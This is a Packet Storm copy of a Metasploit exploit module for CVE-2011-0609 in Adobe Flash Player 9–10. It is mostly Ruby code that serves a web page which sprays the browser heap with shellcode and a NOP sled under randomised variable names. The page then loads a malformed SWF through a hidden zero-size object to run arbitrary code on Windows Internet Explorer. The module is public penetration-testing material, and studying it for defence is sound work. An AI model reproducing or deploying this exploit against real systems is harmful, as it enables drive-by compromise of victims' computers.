Adobe Flash Player AVM Bytecode Verification

2011-03-2300:00:00
bannedit
packetstormsecurity.com
0.972 High
EPSS
Percentile
99.8%
JSON
`##  
# $Id: adobe_flashplayer_avm.rb 12091 2011-03-23 04:41:48Z bannedit $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe Flash Player AVM Bytecode Verification',  
'Description' => %q{  
This module exploits a vulnerability in AVM2 action script virtual machine used  
in Adobe Flash Player versions 9.0 through 10. The AVM fails to properly verify   
bytecode streams prior to executing it. This can cause uninitialized memory to be   
executed.  
  
Utilizing heap spraying techniques to control the uninitialized memory region it is  
possible to execute arbitrary code. Typically Flash Player is not used as a   
standalone application. Often, SWF files are embeded in other file formats or   
specifically loaded via a web browser. Malcode was discovered in the wild which   
embeded a malformed SWF file within an Excel spreadsheet. This exploit is based  
off the byte stream found within that malcode sample.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'bannedit' # Metasploit version  
],  
'Version' => '$Revision: 12091 $',  
'References' =>  
[  
['CVE', '2011-0609'],  
['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],  
['URL', 'http://www.adobe.com/devnet/swf.html'],  
['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'HTTP::compression' => 'gzip',  
'HTTP::chunked' => true,  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { 'Ret' => 0x04040404 }],  
],  
'DisclosureDate' => 'Mar 15 2011',  
'DefaultTarget' => 0))  
end  
  
def load_swfs  
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0609.swf" )  
fd = File.open( path, "rb" )  
trigger = fd.read(fd.stat.size)  
fd.close  
return trigger  
end  
  
def on_request_uri(cli, request)  
trigger = load_swfs  
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"  
  
if request.uri.match(/\.swf/i)  
print_status("Sending Trigger SWF")  
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })  
return  
end  
  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
nops = [target.ret].pack('V')  
nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))  
  
var_blocks = rand_text_alpha(rand(6)+3)  
var_shellcode = rand_text_alpha(rand(6)+3)  
var_index = rand_text_alpha(rand(6)+3)  
var_nopsled = rand_text_alpha(rand(6)+3)  
spray_func = rand_text_alpha(rand(6)+3)  
obj_id = rand_text_alpha(rand(6)+3)  
  
# The methods used in this exploit currently could be improved. Heap spraying can likely  
# be done using ActionScript. I am still investigating this possibility. Additionally,  
# Hafei Li has been conducting some interesting research in the area of ActionScript   
# related vulnerabilities which could be leveraged for this exploit.  
#  
# Currently this method only works with IE as Firefox runs Flash in a container process  
# which is uneffected by JS heap spraying.  
html = <<-EOS  
<html>  
<head>  
</head>  
<body>  
<script>  
function #{spray_func}() {  
#{var_blocks} = new Array();  
var #{var_shellcode} = unescape("#{shellcode}");  
var #{var_nopsled} = unescape("#{nop_sled}");  
do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);  
for (#{var_index}=0; #{var_index} < 25000; #{var_index}++)  
#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};  
}  
#{spray_func}();  
</script>  
<center>   
  
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"  
id="#{obj_id}" width="0" height="0"  
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">  
<param name="movie" value="#{trigger_file}" />  
</object>  
</center>  
  
</body>  
</html>  
EOS  
  
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
end  
end`